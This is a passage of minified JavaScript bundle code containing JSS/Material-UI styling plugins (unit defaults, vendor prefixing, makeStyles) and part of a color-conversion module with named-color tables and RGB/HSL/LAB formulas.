t=0;t<e.length;t++)e[t]=Ue(e[t]);return e}return Ue(e)},onChangeValue:function(e,t,n){if(0===t.indexOf("--"))return e;var r=Ye(t);return t===r?e:(n.prop(r,e),null)}}},Ge=xe&&CSS?CSS.px:"px",Ze=xe&&CSS?CSS.ms:"ms",Xe=xe&&CSS?CSS.percent:"%";function Ke(e){var t=/(-[a-z])/g,n=function(e){return e[1].toUpperCase()},r={};for(var i in e)r[i]=e[i],r[i.replace(t,n)]=e[i];return r}var Qe=Ke({"animation-delay":Ze,"animation-duration":Ze,"background-position":Ge,"background-position-x":Ge,"background-position-y":Ge,"background-size":Ge,border:Ge,"border-bottom":Ge,"border-bottom-left-radius":Ge,"border-bottom-right-radius":Ge,"border-bottom-width":Ge,"border-left":Ge,"border-left-width":Ge,"border-radius":Ge,"border-right":Ge,"border-right-width":Ge,"border-top":Ge,"border-top-left-radius":Ge,"border-top-right-radius":Ge,"border-top-width":Ge,"border-width":Ge,margin:Ge,"margin-bottom":Ge,"margin-left":Ge,"margin-right":Ge,"margin-top":Ge,padding:Ge,"padding-bottom":Ge,"padding-left":Ge,"padding-right":Ge,"padding-top":Ge,"mask-position-x":Ge,"mask-position-y":Ge,"mask-size":Ge,height:Ge,width:Ge,"min-height":Ge,"max-height":Ge,"min-width":Ge,"max-width":Ge,bottom:Ge,left:Ge,top:Ge,right:Ge,"box-shadow":Ge,"text-shadow":Ge,"column-gap":Ge,"column-rule":Ge,"column-rule-width":Ge,"column-width":Ge,"font-size":Ge,"font-size-delta":Ge,"letter-spacing":Ge,"text-indent":Ge,"text-stroke":Ge,"text-stroke-width":Ge,"word-spacing":Ge,motion:Ge,"motion-offset":Ge,outline:Ge,"outline-offset":Ge,"outline-width":Ge,perspective:Ge,"perspective-origin-x":Xe,"perspective-origin-y":Xe,"transform-origin":Xe,"transform-origin-x":Xe,"transform-origin-y":Xe,"transform-origin-z":Xe,"transition-delay":Ze,"transition-duration":Ze,"vertical-align":Ge,"flex-basis":Ge,"shape-margin":Ge,size:Ge,grid:Ge,"grid-gap":Ge,"grid-row-gap":Ge,"grid-column-gap":Ge,"grid-template-rows":Ge,"grid-template-columns":Ge,"grid-auto-rows":Ge,"grid-auto-columns":Ge,"box-shadow-x":Ge,"box-shadow-y":Ge,"box-shadow-blur":Ge,"box-shadow-spread":Ge,"font-line-height":Ge,"text-shadow-x":Ge,"text-shadow-y":Ge,"text-shadow-blur":Ge});function Je(e,t,n){if(!t)return t;if(Array.isArray(t))for(var r=0;r<t.length;r++)t[r]=Je(e,t[r],n);else if("object"===typeof t)if("fallbacks"===e)for(var i in t)t[i]=Je(i,t[i],n);else for(var a in t)t[a]=Je(e+"-"+a,t[a],n);else if("number"===typeof t){var o=n[e]||Qe[e];return o?"function"===typeof o?o(t).toString():""+t+o:t.toString()}return t}var et=function(e){void 0===e&&(e={});var t=Ke(e);return{onProcessStyle:function(e,n){if("style"!==n.type)return e;for(var r in e)e[r]=Je(r,e[r],t);return e},onChangeValue:function(e,n){return Je(n,e,t)}}},tt=n(14),nt="",rt="",it="",at="",ot=c&&"ontouchstart"in document.documentElement;if(c){var st={Moz:"-moz-",ms:"-ms-",O:"-o-",Webkit:"-webkit-"},lt=document.createElement("p").style;for(var ut in st)if(ut+"Transform"in lt){nt=ut,rt=st[ut];break}"Webkit"===nt&&"msHyphens"in lt&&(nt="ms",rt=st.ms,at="edge"),"Webkit"===nt&&"-apple-trailing-word"in lt&&(it="apple")}var ct=nt,ft=rt,ht=it,dt=at,pt=ot;var mt={noPrefill:["appearance"],supportedProperty:function(e){return"appearance"===e&&("ms"===ct?"-webkit-"+e:ft+e)}},vt={noPrefill:["color-adjust"],supportedProperty:function(e){return"color-adjust"===e&&("Webkit"===ct?ft+"print-"+e:e)}},gt=/[-\s]+(.)?/g;function yt(e,t){return t?t.toUpperCase():""}function bt(e){return e.replace(gt,yt)}function xt(e){return bt("-"+e)}var wt,kt={noPrefill:["mask"],supportedProperty:function(e,t){if(!/^mask/.test(e))return!1;if("Webkit"===ct){if(bt("mask-image")in t)return e;if(ct+xt("mask-image")in t)return ft+e}return e}},_t={noPrefill:["text-orientation"],supportedProperty:function(e){return"text-orientation"===e&&("apple"!==ht||pt?e:ft+e)}},Mt={noPrefill:["transform"],supportedProperty:function(e,t,n){return"transform"===e&&(n.transform?e:ft+e)}},St={noPrefill:["transition"],supportedProperty:function(e,t,n){return"transition"===e&&(n.transition?e:ft+e)}},Tt={noPrefill:["writing-mode"],supportedProperty:function(e){return"writing-mode"===e&&("Webkit"===ct||"ms"===ct&&"edge"!==dt?ft+e:e)}},Ot={noPrefill:["user-select"],supportedProperty:function(e){return"user-select"===e&&("Moz"===ct||"ms"===ct||"apple"===ht?ft+e:e)}},Et={supportedProperty:function(e,t){return!!/^break-/.test(e)&&("Webkit"===ct?"WebkitColumn"+xt(e)in t&&ft+"column-"+e:"Moz"===ct&&("page"+xt(e)in t&&"page-"+e))}},Ct={supportedProperty:function(e,t){if(!/^(border|margin|padding)-inline/.test(e))return!1;if("Moz"===ct)return e;var n=e.replace("-inline","");return ct+xt(n)in t&&ft+n}},Nt={supportedProperty:function(e,t){return bt(e)in t&&e}},Pt={supportedProperty:function(e,t){var n=xt(e);return"-"===e[0]||"-"===e[0]&&"-"===e[1]?e:ct+n in t?ft+e:"Webkit"!==ct&&"Webkit"+n in t&&"-webkit-"+e}},At={supportedProperty:function(e){return"scroll-snap"===e.substring(0,11)&&("ms"===ct?""+ft+e:e)}},zt={supportedProperty:function(e){return"overscroll-behavior"===e&&("ms"===ct?ft+"scroll-chaining":e)}},Dt={"flex-grow":"flex-positive","flex-shrink":"flex-negative","flex-basis":"flex-preferred-size","justify-content":"flex-pack",order:"flex-order","align-items":"flex-align","align-content":"flex-line-pack"},It={supportedProperty:function(e,t){var n=Dt[e];return!!n&&(ct+xt(n)in t&&ft+n)}},Rt={flex:"box-flex","flex-grow":"box-flex","flex-direction":["box-orient","box-direction"],order:"box-ordinal-group","align-items":"box-align","flex-flow":["box-orient","box-direction"],"justify-content":"box-pack"},jt=Object.keys(Rt),Ft=function(e){return ft+e},Lt=[mt,vt,kt,_t,Mt,St,Tt,Ot,Et,Ct,Nt,Pt,At,zt,It,{supportedProperty:function(e,t,n){var r=n.multiple;if(jt.indexOf(e)>-1){var i=Rt[e];if(!Array.isArray(i))return ct+xt(i)in t&&ft+i;if(!r)return!1;for(var a=0;a<i.length;a++)if(!(ct+xt(i[0])in t))return!1;return i.map(Ft)}return!1}}],Bt=Lt.filter((function(e){return e.supportedProperty})).map((function(e){return e.supportedProperty})),Vt=Lt.filter((function(e){return e.noPrefill})).reduce((function(e,t){return e.push.apply(e,Object(tt.a)(t.noPrefill)),e}),[]),Ht={};if(c){wt=document.createElement("p");var Wt=window.getComputedStyle(document.documentElement,"");for(var qt in Wt)isNaN(qt)||(Ht[Wt[qt]]=Wt[qt]);Vt.forEach((function(e){return delete Ht[e]}))}function Yt(e,t){if(void 0===t&&(t={}),!wt)return e;if(null!=Ht[e])return Ht[e];"transition"!==e&&"transform"!==e||(t[e]=e in wt.style);for(var n=0;n<Bt.length&&(Ht[e]=Bt[n](e,wt.style,t),!Ht[e]);n++);try{wt.style[e]=""}catch(r){return!1}return Ht[e]}var Ut,$t={},Gt={transition:1,"transition-property":1,"-webkit-transition":1,"-webkit-transition-property":1},Zt=/(^\s*[\w-]+)|, (\s*[\w-]+)(?![^()]*\))/g;function Xt(e,t,n){if("var"===t)return"var";if("all"===t)return"all";if("all"===n)return", all";var r=t?Yt(t):", "+Yt(n);return r||(t||n)}function Kt(e,t){var n=t;if(!Ut||"content"===e)return t;if("string"!==typeof n||!isNaN(parseInt(n,10)))return n;var r=e+n;if(null!=$t[r])return $t[r];try{Ut.style[e]=n}catch(i){return $t[r]=!1,!1}if(Gt[e])n=n.replace(Zt,Xt);else if(""===Ut.style[e]&&("-ms-flex"===(n=ft+n)&&(Ut.style[e]="-ms-flexbox"),Ut.style[e]=n,""===Ut.style[e]))return $t[r]=!1,!1;return Ut.style[e]="",$t[r]=n,$t[r]}c&&(Ut=document.createElement("p"));var Qt=function(){function e(t){for(var n in t){var r=t[n];if("fallbacks"===n&&Array.isArray(r))t[n]=r.map(e);else{var i=!1,a=Yt(n);a&&a!==n&&(i=!0);var o=!1,s=Kt(a,x(r));s&&s!==r&&(o=!0),(i||o)&&(i&&delete t[n],t[a||n]=s||r)}}return t}return{onProcessRule:function(e){if("keyframes"===e.type){var t=e;t.at="-"===(n=t.at)[1]||"ms"===ct?n:"@"+ft+"keyframes"+n.substr(10)}var n},onProcessStyle:function(t,n){return"style"!==n.type?t:e(t)},onChangeValue:function(e,t){return Kt(t,x(e))||e}}};var Jt=function(){var e=function(e,t){return e.length===t.length?e>t?1:-1:e.length-t.length};return{onProcessStyle:function(t,n){if("style"!==n.type)return t;for(var r={},i=Object.keys(t).sort(e),a=0;a<i.length;a++)r[i[a]]=t[i[a]];return r}}};function en(){return{plugins:[Ne(),Re(),Be(),$e(),et(),"undefined"===typeof window?null:Qt(),Jt()]}}var tn=we(en()),nn={disableGeneration:!1,generateClassName:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},t=e.disableGlobal,n=void 0!==t&&t,r=e.productionPrefix,i=void 0===r?"jss":r,a=e.seed,o=void 0===a?"":a,s=""===o?"":"".concat(o,"-"),l=0;return function(e,t){l+=1;var r=t.options.name;if(r&&0===r.indexOf("Mui")&&!t.options.link&&!n){if(-1!==Te.indexOf(e.key))return"Mui-".concat(e.key);var a="".concat(s).concat(r,"-").concat(e.key);return t.options.theme[Se]&&""===o?"".concat(a,"-").concat(l):a}return"".concat(s).concat(i).concat(l)}}(),jss:tn,sheetsCache:null,sheetsManager:new Map,sheetsRegistry:null},rn=o.a.createContext(nn);var an=-1e9;function on(){return an+=1}n(23);var sn=n(208);function ln(e){var t="function"===typeof e;return{create:function(n,i){var a;try{a=t?e(n):e}catch(l){throw l}if(!i||!n.overrides||!n.overrides[i])return a;var o=n.overrides[i],s=Object(r.a)({},a);return Object.keys(o).forEach((function(e){s[e]=Object(sn.a)(s[e],o[e])})),s},options:{}}}var un={};function cn(e,t,n){var r=e.state;if(e.stylesOptions.disableGeneration)return t||{};r.cacheClasses||(r.cacheClasses={value:null,lastProp:null,lastJSS:{}});var i=!1;return r.classes!==r.cacheClasses.lastJSS&&(r.cacheClasses.lastJSS=r.classes,i=!0),t!==r.cacheClasses.lastProp&&(r.cacheClasses.lastProp=t,i=!0),i&&(r.cacheClasses.value=ke({baseClasses:r.cacheClasses.lastJSS,newClasses:t,Component:n})),r.cacheClasses.value}function fn(e,t){var n=e.state,i=e.theme,a=e.stylesOptions,o=e.stylesCreator,s=e.name;if(!a.disableGeneration){var l=_e.get(a.sheetsManager,o,i);l||(l={refs:0,staticSheet:null,dynamicStyles:null},_e.set(a.sheetsManager,o,i,l));var u=Object(r.a)({},o.options,{},a,{theme:i,flip:"boolean"===typeof a.flip?a.flip:"rtl"===i.direction});u.generateId=u.serverGenerateClassName||u.generateClassName;var c=a.sheetsRegistry;if(0===l.refs){var f;a.sheetsCache&&(f=_e.get(a.sheetsCache,o,i));var h=o.create(i,s);f||((f=a.jss.createStyleSheet(h,Object(r.a)({link:!1},u))).attach(),a.sheetsCache&&_e.set(a.sheetsCache,o,i,f)),c&&c.add(f),l.staticSheet=f,l.dynamicStyles=function e(t){var n=null;for(var r in t){var i=t[r],a=typeof i;if("function"===a)n||(n={}),n[r]=i;else if("object"===a&&null!==i&&!Array.isArray(i)){var o=e(i);o&&(n||(n={}),n[r]=o)}}return n}(h)}if(l.dynamicStyles){var d=a.jss.createStyleSheet(l.dynamicStyles,Object(r.a)({link:!0},u));d.update(t),d.attach(),n.dynamicSheet=d,n.classes=ke({baseClasses:l.staticSheet.classes,newClasses:d.classes}),c&&c.add(d)}else n.classes=l.staticSheet.classes;l.refs+=1}}function hn(e,t){var n=e.state;n.dynamicSheet&&n.dynamicSheet.update(t)}function dn(e){var t=e.state,n=e.theme,r=e.stylesOptions,i=e.stylesCreator;if(!r.disableGeneration){var a=_e.get(r.sheetsManager,i,n);a.refs-=1;var o=r.sheetsRegistry;0===a.refs&&(_e.delete(r.sheetsManager,i,n),r.jss.removeStyleSheet(a.staticSheet),o&&o.remove(a.staticSheet)),t.dynamicSheet&&(r.jss.removeStyleSheet(t.dynamicSheet),o&&o.remove(t.dynamicSheet))}}function pn(e,t){var n,r=o.a.useRef([]),i=o.a.useMemo((function(){return{}}),t);r.current!==i&&(r.current=i,n=e()),o.a.useEffect((function(){return function(){n&&n()}}),[i])}function mn(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},n=t.name,a=t.classNamePrefix,s=t.Component,l=t.defaultTheme,u=void 0===l?un:l,c=Object(i.a)(t,["name","classNamePrefix","Component","defaultTheme"]),f=ln(e),h=n||a||"makeStyles";f.options={index:on(),name:n,meta:h,classNamePrefix:h};var d=function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},t=Object(Me.a)()||u,i=Object(r.a)({},o.a.useContext(rn),{},c),a=o.a.useRef(),l=o.a.useRef();pn((function(){var r={name:n,state:{},stylesCreator:f,stylesOptions:i,theme:t};return fn(r,e),l.current=!1,a.current=r,function(){dn(r)}}),[t,f]),o.a.useEffect((function(){l.current&&hn(a.current,e),l.current=!0}));var h=cn(a.current,e.classes,s);return h};return d}function vn(e){var t=e.theme,n=e.name,r=e.props;if(!t||!t.props||!t.props[n])return r;var i,a=t.props[n];for(i in a)void 0===r[i]&&(r[i]=a[i]);return r}var gn=function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};return function(n){var a=t.defaultTheme,s=t.withTheme,u=void 0!==s&&s,c=t.name,f=Object(i.a)(t,["defaultTheme","withTheme","name"]);var h=c,d=mn(e,Object(r.a)({defaultTheme:a,Component:n,name:c||n.displayName,classNamePrefix:h},f)),p=o.a.forwardRef((function(e,t){e.classes;var s,l=e.innerRef,f=Object(i.a)(e,["classes","innerRef"]),h=d(Object(r.a)({},n.defaultProps,{},e)),p=f;return("string"===typeof c||u)&&(s=Object(Me.a)()||a,c&&(p=vn({theme:s,name:c,props:f})),u&&!p.theme&&(p.theme=s)),o.a.createElement(n,Object(r.a)({ref:l||t,classes:h},p))}));return l()(p,n),p}},yn=n(35);t.a=function(e,t){return gn(e,Object(r.a)({defaultTheme:yn.a},t))}},function(e,t,n){e.exports=function(e){"use strict";e=e&&e.hasOwnProperty("default")?e.default:e;var t={aliceblue:[240,248,255],antiquewhite:[250,235,215],aqua:[0,255,255],aquamarine:[127,255,212],azure:[240,255,255],beige:[245,245,220],bisque:[255,228,196],black:[0,0,0],blanchedalmond:[255,235,205],blue:[0,0,255],blueviolet:[138,43,226],brown:[165,42,42],burlywood:[222,184,135],cadetblue:[95,158,160],chartreuse:[127,255,0],chocolate:[210,105,30],coral:[255,127,80],cornflowerblue:[100,149,237],cornsilk:[255,248,220],crimson:[220,20,60],cyan:[0,255,255],darkblue:[0,0,139],darkcyan:[0,139,139],darkgoldenrod:[184,134,11],darkgray:[169,169,169],darkgreen:[0,100,0],darkgrey:[169,169,169],darkkhaki:[189,183,107],darkmagenta:[139,0,139],darkolivegreen:[85,107,47],darkorange:[255,140,0],darkorchid:[153,50,204],darkred:[139,0,0],darksalmon:[233,150,122],darkseagreen:[143,188,143],darkslateblue:[72,61,139],darkslategray:[47,79,79],darkslategrey:[47,79,79],darkturquoise:[0,206,209],darkviolet:[148,0,211],deeppink:[255,20,147],deepskyblue:[0,191,255],dimgray:[105,105,105],dimgrey:[105,105,105],dodgerblue:[30,144,255],firebrick:[178,34,34],floralwhite:[255,250,240],forestgreen:[34,139,34],fuchsia:[255,0,255],gainsboro:[220,220,220],ghostwhite:[248,248,255],gold:[255,215,0],goldenrod:[218,165,32],gray:[128,128,128],green:[0,128,0],greenyellow:[173,255,47],grey:[128,128,128],honeydew:[240,255,240],hotpink:[255,105,180],indianred:[205,92,92],indigo:[75,0,130],ivory:[255,255,240],khaki:[240,230,140],lavender:[230,230,250],lavenderblush:[255,240,245],lawngreen:[124,252,0],lemonchiffon:[255,250,205],lightblue:[173,216,230],lightcoral:[240,128,128],lightcyan:[224,255,255],lightgoldenrodyellow:[250,250,210],lightgray:[211,211,211],lightgreen:[144,238,144],lightgrey:[211,211,211],lightpink:[255,182,193],lightsalmon:[255,160,122],lightseagreen:[32,178,170],lightskyblue:[135,206,250],lightslategray:[119,136,153],lightslategrey:[119,136,153],lightsteelblue:[176,196,222],lightyellow:[255,255,224],lime:[0,255,0],limegreen:[50,205,50],linen:[250,240,230],magenta:[255,0,255],maroon:[128,0,0],mediumaquamarine:[102,205,170],mediumblue:[0,0,205],mediumorchid:[186,85,211],mediumpurple:[147,112,219],mediumseagreen:[60,179,113],mediumslateblue:[123,104,238],mediumspringgreen:[0,250,154],mediumturquoise:[72,209,204],mediumvioletred:[199,21,133],midnightblue:[25,25,112],mintcream:[245,255,250],mistyrose:[255,228,225],moccasin:[255,228,181],navajowhite:[255,222,173],navy:[0,0,128],oldlace:[253,245,230],olive:[128,128,0],olivedrab:[107,142,35],orange:[255,165,0],orangered:[255,69,0],orchid:[218,112,214],palegoldenrod:[238,232,170],palegreen:[152,251,152],paleturquoise:[175,238,238],palevioletred:[219,112,147],papayawhip:[255,239,213],peachpuff:[255,218,185],peru:[205,133,63],pink:[255,192,203],plum:[221,160,221],powderblue:[176,224,230],purple:[128,0,128],rebeccapurple:[102,51,153],red:[255,0,0],rosybrown:[188,143,143],royalblue:[65,105,225],saddlebrown:[139,69,19],salmon:[250,128,114],sandybrown:[244,164,96],seagreen:[46,139,87],seashell:[255,245,238],sienna:[160,82,45],silver:[192,192,192],skyblue:[135,206,235],slateblue:[106,90,205],slategray:[112,128,144],slategrey:[112,128,144],snow:[255,250,250],springgreen:[0,255,127],steelblue:[70,130,180],tan:[210,180,140],teal:[0,128,128],thistle:[216,191,216],tomato:[255,99,71],turquoise:[64,224,208],violet:[238,130,238],wheat:[245,222,179],white:[255,255,255],whitesmoke:[245,245,245],yellow:[255,255,0],yellowgreen:[154,205,50]},n=function(e,t){return e(t={exports:{}},t.exports),t.exports}((function(e){var n={};for(var r in t)t.hasOwnProperty(r)&&(n[t[r]]=r);var i=e.exports={rgb:{channels:3,labels:"rgb"},hsl:{channels:3,labels:"hsl"},hsv:{channels:3,labels:"hsv"},hwb:{channels:3,labels:"hwb"},cmyk:{channels:4,labels:"cmyk"},xyz:{channels:3,labels:"xyz"},lab:{channels:3,labels:"lab"},lch:{channels:3,labels:"lch"},hex:{channels:1,labels:["hex"]},keyword:{channels:1,labels:["keyword"]},ansi16:{channels:1,labels:["ansi16"]},ansi256:{channels:1,labels:["ansi256"]},hcg:{channels:3,labels:["h","c","g"]},apple:{channels:3,labels:["r16","g16","b16"]},gray:{channels:1,labels:["gray"]}};for(var a in i)if(i.hasOwnProperty(a)){if(!("channels"in i[a]))throw new Error("missing channels property: "+a);if(!("labels"in i[a]))throw new Error("missing channel labels property: "+a);if(i[a].labels.length!==i[a].channels)throw new Error("channel and label counts mismatch: "+a);var o=i[a].channels,s=i[a].labels;delete i[a].channels,delete i[a].labels,Object.defineProperty(i[a],"channels",{value:o}),Object.defineProperty(i[a],"labels",{value:s})}i.rgb.hsl=function(e){var t,n,r=e[0]/255,i=e[1]/255,a=e[2]/255,o=Math.min(r,i,a),s=Math.max(r,i,a),l=s-o;return s===o?t=0:r===s?t=(i-a)/l:i===s?t=2+(a-r)/l:a===s&&(t=4+(r-i)/l),(t=Math.min(60*t,360))<0&&(t+=360),n=(o+s)/2,[t,100*(s===o?0:n<=.5?l/(s+o):l/(2-s-o)),100*n]},i.rgb.hsv=function(e){var t,n,r,i,a,o=e[0]/255,s=e[1]/255,l=e[2]/255,u=Math.max(o,s,l),c=u-Math.min(o,s,l),f=function(e){return(u-e)/6/c+.5};return 0===c?i=a=0:(a=c/u,t=f(o),n=f(s),r=f(l),o===u?i=r-n:s===u?i=1/3+t-r:l===u&&(i=2/3+n-t),i<0?i+=1:i>1&&(i-=1)),[360*i,100*a,100*u]},i.rgb.hwb=function(e){var t=e[0],n=e[1],r=e[2];return[i.rgb.hsl(e)[0],1/255*Math.min(t,Math.min(n,r))*100,100*(r=1-1/255*Math.max(t,Math.max(n,r)))]},i.rgb.cmyk=function(e){var t,n=e[0]/255,r=e[1]/255,i=e[2]/255;return[100*((1-n-(t=Math.min(1-n,1-r,1-i)))/(1-t)||0),100*((1-r-t)/(1-t)||0),100*((1-i-t)/(1-t)||0),100*t]},i.rgb.keyword=function(e){var r=n[e];if(r)return r;var i,a,o,s=1/0;for(var l in t)if(t.hasOwnProperty(l)){var u=t[l],c=(a=e,o=u,Math.pow(a[0]-o[0],2)+Math.pow(a[1]-o[1],2)+Math.pow(a[2]-o[2],2));c<s&&(s=c,i=l)}return i},i.keyword.rgb=function(e){return t[e]},i.rgb.xyz=function(e){var t=e[0]/255,n=e[1]/255,r=e[2]/255;return[100*(.4124*(t=t>.04045?Math.pow((t+.055)/1.055,2.4):t/12.92)+.3576*(n=n>.04045?Math.pow((n+.055)/1.055,2.4):n/12.92)+.1805*(r=r>.04045?Math.pow((r+.055)/1.055,2.4):r/12.92)),100*(.2126*t+.7152*n+.0722*r),100*(.0193*t+.1192*n+.9505*r)]},i.rgb.lab=function(e){var t=i.rgb.xyz(e),n=t[0],r=t[1],a=t[2];return r/=100,a/=108.883,n=(n/=95.047)>.008856?Math.pow(n,1/3):7.787*n+16/116,[116*(r=r>.008856?Math.pow(r,1/3):7.787*r+16/116)-16,500*(n-r),200*(r-(a=a>.008856?Math.pow(a,1/3):7.787*a+16/116))]},i.hsl.rgb=function(e){var t,n,r,i,a,o=e[0]/360,s=e[1]/100,l=e[2]/100;if(0===s)return[a=255*l,a,a];t=2*l-(n=l<.5?l*(1+s):l+s-l*s),i=[0,0,0];for(var u=0;u<3;u++)(r=o+1/3*-(u-1))<0&&r++,r>1&&r--,a=6*r<1?t+6*(n-t)*r:2*r<1?n:3*r<2?t+(n-t)*(2/3-r)*6:t,i[u]=255*a;return i},i.hsl.hsv=function(e){var t=e[0],n=e[1]/100,r=e[2]/100,i=n,a=Math.max(r,.01);return n*=(r*=2)<=1?r:2-r,i*=a<=1?a:2-a,[t,100*(0===r?2*i/(a+i):2*n/(r+n)),(r+n)/2*100]},i.hsv.rgb=function(e){var t=e[0]/60,n=e[1]/100,r=e[2]/100,i=Math.floor(t)%6,a=t-Math.floor(t),o=255*r*(1-n),s=255*r*(1-n*a),l=255*r*(1-n*(1-a));switch(r*=255,i){case 0:return[r,l,o];case 1:return[s,r,o];case 2:return[o,r,l];case 3:return[o,s,r];case 4:return[l,o,r];case 5:return[r,o,s]}},i.hsv.hsl=function(e){var t,n,r,i=e[0],a=e[1]/100,o=e[2]/100,s=Math.max(o,.01);return r=(2-a)*o,n=a*s,[i,100*(n=(n/=(t=(2-a)*s)<=1?t:2-t)||0),100*(r/=2)]},i.hwb.rgb=function(e){var t,n,r,i,a,o,s,l=e[0]/360,u=e[1]/100,c=e[2]/100,f=u+c;switch(f>1&&(u/=f,c/=f),r=6*l-(t=Math.floor(6*l)),0!==(1&t)&&(r=1-r),i=u+r*((n=1-c)-u),t){default:case 6:case 0:a=n,o=i,s=u;break;case 1:a=i,o=n,s=u;break;case 2:a=u,o=n,s=i;break;case 3:a=u,o=i,s=n;break;case 4:a=i,o=u,s=n;break;case 5:a=n,o=u,s=i}return[255*a,255*o,255*s]},i.cmyk.rgb=function(e){var t=e[0]/100,n=e[1]/100,r=e[2]/100,i=e[3]/100;return[255*(1-Math.min(1,t*(1-i)+i)),255*(1-Math.min(1,n*(1-i)+i)),255*(1-Math.min(1,r*(1-i)+i))]},i.xyz.rgb=function(e){var t,n,r,i=e[0]/100,a=e[1]/100,o=e[2]/100;return n=-.9689*i+1.8758*a+.0415*o,r=.0557*i+-.204*a+1.057*o,t=(t=3.2406*i+-1.5372*a+-.4986*o)>.0031308?1.055*Math.pow(t,1/2.4)-.055:12.92*t,n=n>.0031308?1.055*Math.pow(n,1/2.4)-.055:12.92*n,r=r>.0031308?1.055*Math.pow(r,1/2.4)-.055:12.92*r,[255*(t=Math.min(Math.max(0,t),1)),255*(n=Math.min(Math.max(0,n),1)),255*(r=Math.min(Math.max(0,r),1))]},i.xyz.lab=function(e){var t=e[0],n=e[1],r=e[2];return n/=100,r/=108.883,t=(t/=95.047)>.008856?Math.pow(t,1/3):7.787*t+16/116,[116*(n=n>.008856?Math.pow(n,1/3):7.787*n+16/116)-16,500*(t-n),200*(n-(r=r>.008856?Math.pow(r,1/3):7.787*r+16/116))]},i.lab.xyz=function(e){var t,n,r,i=e[0];t=e[1]/500+(n=(i+16)/116),r=n-e[2]/200;var a=Math.pow(n,3),o=Math.pow(t,3),s=Math.pow(r,3);return n=a>.008856?a:(n-16/116)/7.787,t=o>.008856?o:(t-16/116)/7.787,r=s>.008856?s:(r-16/116)/7.787,[t*=95.047,n*=100,r*=108.883]},i.lab.lch=function(e){var t,n=e[0],r=e[1],i=e[2];return(t=360*Math.atan2(i,r)/2/Math.PI)<0&&(t+=360),[n,Math.sqrt(r*r+i*i),t]},i.lch.lab=function(e){var t,n=e[0],r=e[1];return t=e[2]/360*2*Math.PI,[n,r*Math.cos(t),r*Math.sin(t)]},i.rgb.ansi16=function(e){var t=e[0],n=e[1],r=e[2],a=1 in arguments?arguments[1]:i.rgb.hsv(e)[2];if(0===(a=Math.round(a/50)))return 30;var o=30+(Math.round(r/255)<<2|Math.round(n/255)<<1|Math.round(t/255));return 2===a&&(o+=60),o},i.hsv.ansi16=function(e){return i.rgb.ansi16(i.hsv.rgb(e),e[2])},i.rgb.ansi256=function(e){var t=e[0],n=e[1],r=e[2];return t===n&&n===r?t<8?16:t>248?231:Math.round((t-8)/247*24)+232:16+36*Math.round(t/255*5)+6*Math.round(n/255*5)+Math.round(r/255*5)},i.ansi16.rgb=function(e){var t=e%10;if(0===t||7===t)return e>50&&(t+=3.5),[t=t/10.5*255,t,t];var n=.5*(1+~~(e>50));return[(1&t)*n*255,(t>>1&1)*n*255,(t>>2&1)*n*255]},i.ansi256.rgb=function(e){if(e>=232){var t=10*(e-232)+8;return[t,t,t]}var n;return e-=16,[Math.floor(e/36)/5*255,Math.floor((n=e%36)/6)/5*255,n%6/5*255]},i.rgb.hex=function(e){var t=(((255&Math.round(e[0]))<<16)+((255&Math.round(e[1]))<<8)+(255&Math.round(e[2]))).toString(16).toUpperCase();return"000000".substring(t.length)+t},i.hex.rgb=function(e){var t=e.toString(16).match(/[a-f0-9]{6}|[a-f0-9]{3}/i);if(!t)return[0,0,0];var n=t[0];3===t[0].length&&(n=n.split("").map((function(e){return e+e})).join(""));var r=parseInt(n,16);return[r>>16&255,r>>8&255,255&r]},i.rgb.hcg=function(e){var t,n=e[0]/255,r=e[1]/255,i=e[2]/255,a=Math.max(Math.max(n,r),i),o=Math.min(Math.min(n,r),i),s=a-o;return t=s<=0?0:a===n?(r-i)/s%6:a===r?2+(i-n)/s:4+(n-r)/s+4,t/=6,[360*(t%=1),100*s,100*(s<1?o/(1-s):0)]},i.hsl.hcg=function(e){var t=e[1]/100,n=e[2]/100,r=1,i=0;return(r=n<.5?2*t*n:2*t*(1-n))<1&&(i=(n-.5*r)/(1-r)),[e[0],100*r,100*i]},i.hsv.hcg=function(e){var t=e[1]/100,n=e[2]/100,r=t*n,i=0;return r<1&&(i=(n-r)/(1-r)),[e[0],100*r,100*i]},i.hcg.rgb=function(e){var t=e[0]/360,n=e[1]/100,r=e[2]/100;if(0===n)return[255*r,255*r,255*r];var i,a=[0,0,0],o=t%1*6,s=o%1,l=1-s;switch(Math.floor(o)){case 0:a[0]=1,a[1]=s,a[2]=0;break;case 1:a[0]=l,a[1]=1,a[2]=0;break;case 2:a[0]=0,a[1]=1,a[2]=s;break;case 3:a[0]=0,a[1]=l,a[2]=1;break;case 4:a[0]=s,a[1]=0,a[2]=1;break;default:a[0]=1,a[1]=0,a[2]=l}return i=(1-n)*r,[255*(n*a[0]+i),255*(n*a[1]+i),255*(n*a[2]+i)]},i.hcg.hsv=function(e){var t=e[1]/100,n=t+e[2]/100*(1-t),r=0;return n>0&&(r=t/n),[e[0],100*r,100*n]},i.hcg.hsl=function(e){var t=e[1]/100,n=e[2]/100*(1-t)+.5*t,r=0;return n>0&&n<.5?r=t/(2*n):n>=.5&&n<1&&(r=t/(2*(1-n))),[e[0],100*r,100*n]},i.hcg.hwb=function(e){var t=e[1]/100,n=t+e[2]/100*(1-t);return[e[0],100*(n-t),100*(1-n)]},i.hwb.hcg=function(e){var t=e[1]/100,n=1-e[2]/100,r=n-t,i=0;return r<1&&(i=(n-r)/(1-r)),[e[0],100*r,100*i]},i.apple.rgb=function(e){return[e[0]/65535*255,e[1]/65535*255,e[2]/65535*255]},i.rgb.apple=function(e){return[e[0]/255*65535,e[1]/255*65535,e[2]/255*65535]},i.gray.rgb=function(e){return[e[0]/100*255,e[0]/100*255,e[0]/100*255]},i.gray.hsl=i.gray.hsv=function(e){return[0,0,e[0]]},i.gray.hwb=function(e){return[0,100,e[0]]},i.gray.cmyk=function(e){return[0,0,0,e[0]]},i.gray.lab=function(e){return[e[0],0,0]},i.gray.hex=function(e){var t=255&Math.round(e[0]/100*255),n=((t<<16)+(t<<8)+t).toString(16).toUpperCase();return"000000".substring(n.length)+n},i.rgb.gray=function(e){return[(e[0]+e[1]+e[2])/3/255*100]}}));function r(e){var t=function(){for(var e={},t=Object.keys(n),r=t.length,i=0;i<r;i++)e[t[i]]={distance:-1,parent:null};return e}(),r=[e];for(t[e].distance=0;r.length;)for(var 